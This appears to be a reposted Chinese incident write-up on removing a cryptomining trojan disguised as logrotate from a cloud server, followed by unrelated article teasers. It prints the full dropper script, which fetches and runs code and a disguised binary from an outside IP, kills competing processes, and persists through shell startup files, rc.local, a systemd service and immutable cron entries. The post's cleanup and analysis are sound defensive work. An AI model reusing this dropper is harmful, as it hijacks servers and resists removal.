二次记录服务器被(logrotate)木马入侵事件

devtools/2024/9/25 15:09:42/

现象:SSH失败、CPU满转

服务器ssh登录不上,一直处于登录中状态。

image.png

于是进入云服务器控制台,CPU打满状态,知道服务器被攻击了

image.png

腾讯云入侵检测,高危命令报警

image.png

排查过程

尝试 VNC 登录

由于SSH登录不上,进入云服务器控制台,尝试VNC登录,很遗憾也是进不去服务器,一直处于login登录中状态

image.png

单用户模式重启

重启服务器,在VNC控制台看到服务器无法重启一直锁死

 

sql

代码解读

复制代码

A start job is running for /etc/rc.d/local Compatibility

image.png

尝试单用户模式重启

参考 blog.csdn.net/qq_36025814…

什么是单用户模式呢?

单用户模式救援模式主要用于系统出现错误配置不能正常启动的时候,可以使用这两种模式来更改错误配置。还有就是当忘记root密码时就只有用这两种方式来强制更改密码。

使在此模式下和正常启动的系统差别不大以root身份运行,拥有最高权限可以对所有文件读写,只是不需要输入root密码,所以就可以实现强制更改密码。主要用在配置错误导致系统启动不了,或者root命令忘记时。注意这个模式下是没有网络连接的。

上面看到重启锁死,这个 /etc/rc.d/rc.local 文件是开机自启动shell脚本,通常会加上一些需要开启自启动的脚本,我们进入单用户模式来修改这个文件,看里面被篡改了什么

进入 VNC,发送 Ctrl+Alt+Delete 命令 重启服务器

image.png

按e进入启动内核

点击 确定,系统开机中,然后立即点击 e(多次点击启动内核)

image.png

修改初始化命令

进入后按到最后 增加 init=/bin/sh , 而且把原来 ro 或者 r\o 修改为 rw ,设置为文件可修改,否则提示只读,斜杠只是换行符不用管

image.png

启动进入单用户模式

按住 Ctrl + x ,即可进入单用户模式,对系统内文件进行操作。

在这里插入图片描述

修改 rc.local 文件

看到被病毒修改增加了脚本 logservice.sh,删除掉这句脚本

image.png

重启成功

修改完成后,执行 exec /sbin/init 退出单用户模式,启动成功。

重装SSH

此时发现ssh登录还是失败,通过VNC登录登录很久,十几二十分钟才进入到服务器。抓住机会。

为了能ssh登录,此时卸载ssh并重装

 

bash

代码解读

复制代码

# 可以通过这条命令查看卸载前后的openssh相关服务安装情况 rpm -qa openssh* # 卸载 yum remove openssh* # 安装 yum install -y openssh-server # 启动服务 systemctl start sshd systemctl enable sshd

排查病毒

参考 blog.csdn.net/qq32933432/…

下载 logservice.sh 脚本分析

通过报警找到logservice.sh脚本地址 http://185.196.8.123/logservice.sh

 

js

代码解读

复制代码

#!/bin/sh { pkill -f xmrig || kill -9 $(pgrep -f 'xmrig'); } >/dev/null 2>&1 ps -eo pid,%cpu,comm --sort=-%cpu | awk 'NR>1 && !/awk|ps/ && !($3 ~ /^(logrotate|sshd|java)$/) && int($2) > 60 { system("kill -9 " $1) }' EXEC="source <(wget -q -O - http://185.196.8.123/logservice.sh || curl -sL http://185.196.8.123/logservice.sh)" trap 'rm -- "$0"' EXIT if [ -z "${HOME+x}" ]; then export HOME=/tmp fi mkdir -p "$HOME/.config" >/dev/null 2>&1 [ ! -f "$HOME/.config/logrotate" ] && { ARCH=$(uname -m) URL="" [ "$ARCH" = "x86_64" ] && URL="http://185.196.8.123/silicon64blueprints.png" [ "$ARCH" = "aarch64" ] && URL="http://185.196.8.123/siliconarmblueprints.png" [ -z "$URL" ] && URL="http://185.196.8.123/silicon64blueprints.png" { wget -q -O "$HOME/.config/logrotate" "$URL" || curl -sL -o "$HOME/.config/logrotate" "$URL"; } >/dev/null 2>&1 chmod +x "$HOME/.config/logrotate" >/dev/null 2>&1 } pgrep -f "config/logrotate" >/dev/null 2>&1 || "$HOME/.config/logrotate" add_to_startup() { if [ -r "$1" ]; then if ! grep -Fxq "$EXEC >/dev/null 2>&1" "$1"; then echo "$EXEC >/dev/null 2>&1" >> "$1" fi fi } case "$(ps -p $$ -o comm=)" in bash) add_to_startup "$HOME/.bashrc" add_to_startup "$HOME/.bash_logout" ;; zsh) add_to_startup "$HOME/.zshrc" ;; esac [ "$(id -u)" -eq 0 ] && { RCLOCAL='' [ -e /etc/debian_version ] && RCLOCAL='/etc/rc.local' [ -e /etc/centos-release -o -e /etc/redhat-release ] && RCLOCAL='/etc/rc.d/rc.local' [ -n "$RCLOCAL" ] && add_to_startup "$RCLOCAL" cat >/etc/systemd/system/logrotate.service <<EOL [Unit] Description=The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files [Service] ExecStart=$HOME/.config/logrotate Restart=always Nice=-20 StandardOutput=null [Install] WantedBy=multi-user.target EOL sudo systemctl daemon-reload 2>/dev/null sudo systemctl enable logrotate.service 2>/dev/null [ -d /var/spool/cron ] && [ -f /var/spool/cron/root ] && echo "@daily $EXEC" >> /var/spool/cron/root 2>/dev/null [ -d /var/spool/cron/crontabs ] && [ -f /var/spool/cron/crontabs/root ] && echo "@daily $EXEC" >> /var/spool/cron/crontabs/root 2>/dev/null [ -f /etc/crontab ] && echo "@daily $EXEC" >> /etc/crontab 2>/dev/null && sudo chattr +i /etc/crontab 2>/dev/null [ -d /etc/cron.hourly ] && echo "$EXEC" >> /etc/cron.hourly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.hourly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.hourly/logrotate 2>/dev/null [ -d /etc/cron.daily ] && echo "$EXEC" >> /etc/cron.daily/logrotate 2>/dev/null && sudo chmod +x /etc/cron.daily/logrotate 2>/dev/null && sudo chattr +i /etc/cron.daily/logrotate 2>/dev/null [ -d /etc/cron.weekly ] && echo "$EXEC" >> /etc/cron.weekly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.weekly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.weekly/logrotate 2>/dev/null [ -d /etc/cron.monthly ] && echo "$EXEC" >> /etc/cron.monthly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.monthly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.monthly/logrotate 2>/dev/null [ -d /etc/cron.yearly ] && echo "$EXEC" >> /etc/cron.yearly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.yearly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.yearly/logrotate 2>/dev/null }

这段脚本的大概解释

- 终止之前的xmrig实例:

尝试使用pkill或kill命令终止任何正在运行的名为“xmrig”的程序,并将任何错误或输出重定向到/dev/null(有效地将它们静音)。

- 终止高CPU使用率的进程:

通过结合使用ps、awk和kill来找出并终止未明确排除且消耗超过60% CPU的任何进程。

- 下载并执行远程脚本:

设置一个变量EXEC,用于获取并执行一个远程服务器(185.196.8.123:8080)上的脚本(logservice.sh)。

- 设置环境:

确保设置了HOME环境变量,如果未设置,默认为/tmp,并在HOME下准备一个.config目录。

- 根据架构下载并执行二进制文件:

检查系统架构并从同一远程服务器下载特定文件(假定为二进制文件),将其作为logrotate保存在.config目录中,然后使其可执行。

- 持久性机制:

将远程脚本执行添加到Bash和Zsh shell的启动文件中,以便每次启动shell会话时都会执行它。 还试图将此脚本插入各种系统级cron目录和systemd服务中,以确保它持续运行或定期检查,这有效地使其更难以移除,并确保它定期运行。

  • Cron和Systemd操纵:

设置了一个名为logrotate.service的systemd服务来运行下载的二进制文件,并尝试将执行命令添加到不同频率的各种cron目录(每小时、每天、每周、每月、每年)中,并使用chattr +i命令使这些脚本变为不可更改。

也就是说这段脚本会采用定时任务和开机启动项等方式,去远程下载一些文件,并把他们伪造成正常的logrotate服务来运行

查杀

知道了脚本的运作机制,就好解决了

删除病毒文件

使用ps -ef|grep logrotate可以看到这个病毒的目录,去把对应的文件删掉

image.png

先把他kill掉

 

bash

代码解读

复制代码

kill -9 16006

然后删除文件

 

bash

代码解读

复制代码

rm -rf /root/.config/logrotate

删除logrotate服务

使用top命令,找到名称为logrotate的服务,这个占用了大量CPU,把服务结束掉kill -9 id,有可能在删除了病毒文件之后top这里就看不到这个进程了

 

bash

代码解读

复制代码

# 先使用这个命令查看是否有服务 systemctl list-unit-files |grep logrotate.service # 然后清除服务 systemctl disable logrotate.service # 找到服务文件所在位置 find / -name logrotate.service # 删除服务文件 rm -rf 上一句文件位置

清除定时任务

使用crontab -l会列出所有当前用户的定时任务,使用crontab -e把相关任务删掉保存,需要注意的是如果定时任务不在root用户则使用此命令看不到

打开文件 /etc/crontab , 编辑里面移除病毒相关的脚步命令,保存后执行 crontab /etc/crontab 生效

清除系统级别定时任务
 

bash

代码解读

复制代码

# 然后执行解锁命令,如果上面的ia就是-ai 如果是只用一个i就是-i chattr -ai /etc/cron.hourly/logrotate; chattr -ai /etc/cron.daily/logrotate; chattr -ai /etc/cron.weekly/logrotate; chattr -ai /etc/cron.monthly/logrotate; chattr -ai /etc/cron.yearly/logrotate; # 删除 rm -rf /etc/cron.hourly/logrotate; rm -rf /etc/cron.daily/logrotate; rm -rf /etc/cron.weekly/logrotate; rm -rf /etc/cron.monthly/logrotate; rm -rf /etc/cron.yearly/logrotate;

清除开机启动项

image.png

先查看 $HOME 是哪个目录

image.png

编辑这些文件,把异常信息删掉

image.png

修改云服务器安全组

只对一些ip和端口开放

到此,所有的清除工作就结束了,修改下密码,重启服务器应该就可以了

作者:一个不会重复的id
链接:https://juejin.cn/post/7365933616743219209
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。


http://www.ppmy.cn/devtools/117018.html

相关文章

【日记】感觉自己已经魔怔了(817 字)

正文 下午装档案的时候&#xff0c;无意间朝外看了一眼&#xff0c;发现自己视力衰退了好多。感觉两只眼睛都有散光了&#xff0c;看东西有重影。有些担心。 兄长血检报告出来了&#xff0c;血红蛋白高&#xff0c;肌酐低。尿酸倒是正常了&#xff0c;但总体还是偏高。我觉得好…

鸿蒙OpenHarmony【小型系统基础内核(进程管理任务)】子系统开发

任务 基本概念 从系统的角度看&#xff0c;任务Task是竞争系统资源的最小运行单元。任务可以使用或等待CPU、使用内存空间等系统资源&#xff0c;并独立于其它任务运行。 OpenHarmony 内核中使用一个任务表示一个线程。 OpenHarmony 内核中同优先级进程内的任务统一调度、运…

弹性负载均衡ELB 详解和设置方法

一、弹性负载均衡ELB 详解 1. 定义与概念 弹性负载均衡&#xff08;Elastic Load Balancing&#xff0c;简称ELB&#xff09;是一种将访问流量自动分发到多台云服务器的流量分发控制服务。它通过在多个后端服务器之间均衡分配请求&#xff0c;提高应用程序的可用性、可扩展性…

前后端分离,使用MOCK进行数据模拟开发,让前端攻城师独立于后端进行开发

mock是什么 Mock生成随机数据,拦截Ajax 请求&#xff0c;前后端分离&#xff0c;让前端攻城师独立于后端进行开发。 增加单元测试的真实性 通过随机数据,模拟各种场景。 在实际开发过程中&#xff0c;前端是通过axios来请求数据的&#xff0c;很多时候前端开发者就是通过写固定…

【计算机网络】详解UDP套接字网络字节序IP地址端口号

一、网络字节序 我们已经知道, 内存中的多字节数据相对于内存地址有大端和小端之分, 磁盘文件中的多字节数据相对于文件中的偏移地址也有大端小端之分, 网络数据流同样有大端小端之分. 发送主机通常将发送缓冲区中的数据按内存地址从低到高的顺序发出; 接收主机把从网络上接到…

一个使用 PyTorch 实现的中文聊天机器人对话生成模型916

这是一个使用 PyTorch 实现的中文聊天机器人对话生成模型。 1数据准备 代码假设有两个文件&#xff1a;questions.txt 和 answers.txt&#xff0c;它们分别包含输入和输出序列。 load_data 函数读取这些文件并返回一个句子列表。 build_vocab 函数通过遍历句子来构建词汇表字…

数据库连接池

1、连接池介绍 1、操作数据库都需要创建连接&#xff0c;操作完成还需要关闭连接 2、创建连接和关闭连接需要可能比执行sql需要的时间都长 3、一个网站需要高频繁的访问数据库&#xff0c;如果短时间频繁的访问数据库服务器&#xff0c;就容易造成服务器的宕机&#xff0c;即…

Nexus学习

系列文章目录 第一章 基础知识、数据类型学习 第二章 万年历项目 第三章 代码逻辑训练习题 第四章 方法、数组学习 第五章 图书管理系统项目 第六章 面向对象编程&#xff1a;封装、继承、多态学习 第七章 封装继承多态习题 第八章 常用类、包装类、异常处理机制学习 第九章 集…